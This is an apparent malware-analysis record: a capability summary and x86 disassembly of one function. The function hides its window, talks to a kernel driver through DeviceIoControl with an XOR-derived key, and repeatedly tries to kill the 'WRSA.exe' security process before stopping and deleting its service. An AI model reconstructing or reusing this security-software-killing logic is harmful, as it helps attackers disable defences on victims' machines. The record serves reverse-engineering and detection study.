Function at 0x4017e0
Capabilities:
Delete service
Encode data using xor
Hide graphical window
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x41f014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
call fcn.00401000
test eax, eax
jne 0x401a7f
push 0x200
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00402f00
push str.Device_
lea eax, [ebp - 0x20c]
push pe_nt_image_headers32
push eax
call fcn.00404cef
push dword [section..data]
lea eax, [ebp - 0x20c]
push pe_nt_image_headers32
push eax
call fcn.00404c80
xorps xmm0, xmm0
lea ecx, [ebp - 0x20c]
add esp, 0x24
movq qword [ebp - 0x214], xmm0
movups xmmword [ebp - 0x224], xmm0
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401870
sub ecx, edx
mov dword [ebp - 0x224], 0x18
sar ecx, 1
push 3
push 0
lea eax, [ecx + ecx]
movzx eax, ax
mov word [ebp - 0x22e], ax
mov word [ebp - 0x230], ax
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x224]
push eax
push 0xc0100000
push 0x41f928
call sub.ntdll.dll_NtOpenFile
test eax, eax
jns 0x4018ea
push eax
push str.NtOpenFile___failed_with_status_0x_.08x_n
call fcn.00401d80
add esp, 8
jmp 0x401a7f
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
mov dword [0x420d50], 0x33333333
mov dword [0x420d54], 0x2333
mov dword [ebp - 0x22c], ecx
cmp dword [0x41f928], ecx
je 0x401a31
add eax, ecx
mov dword [0x420d44], esi
push ebx
adc ecx, 0xbaebaeec
mov dword [ebp - 0x214], 0xcccba371
xor eax, 0x33333333
mov dword [ebp - 0x210], 0xebba8dc7
xor ecx, 0x2333
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], ecx
mov ebx, 1
mov dword [ebp - 8], 7
mov edi, 0x33333333
mov dword [0x420d40], 0x138
mov esi, 0x2333
mov dword [0x420380], 0x33333333
mov dword [0x420384], 0x2333
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.00401de0
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov dword [ebx*8 + 0x420380], edi
adc esi, edx
mov dword [ebx*8 + 0x420384], esi
inc ebx
cmp ebx, 0x138
jb 0x401987
mov edi, dword [ebp - 8]
xor esi, esi
pop ebx
nop dword [eax + eax]
call fcn.00401b70
mov dword [0x420368], eax
mov dword [0x42036c], edx
sub edi, 1
jne 0x4019d0
push edi
lea eax, [ebp - 0x22c]
mov dword [0x41f92c], 1
push eax
push 8
lea eax, [ebp - 0xc]
push eax
push 0x10
lea eax, [ebp - 0x21c]
push eax
push 0x80034000
push dword [0x41f928]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401a7e
mov eax, dword [ebp - 0xc]
cmp eax, dword [0x420368]
jne 0x401a7e
mov eax, dword [ebp - 8]
cmp eax, dword [0x42036c]
jne 0x401a7e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401a43
mov esi, dword [str.WRSA.exe]
jmp 0x401a4f
mov al, byte [esi]
inc esi
test al, al
jne 0x401a43
cmp byte [esi + 1], al
je 0x401a69
test esi, esi
je 0x401a6b
push esi
push str._s_try_kill___
call fcn.00401b40
push esi
call fcn.00401550
add esp, 0xc
jmp 0x401a37
xor esi, esi
push 0x1f4
call edi
mov dword [0x41f930], 0
jmp 0x401a37
pop edi
mov eax, dword [0x41f928]
test eax, eax
je 0x401a8e
push eax
call sub.ntdll.dll_NtClose
mov eax, dword [0x41f924]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x401ac1
lea ecx, [ebp - 0x228]
push ecx
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
push dword [0x41f924]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push dword [0x41f924]
call esi
mov eax, dword [0x41f920]
test eax, eax
je 0x401acd
push eax
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00401dcc
mov esp, ebp
pop ebp
ret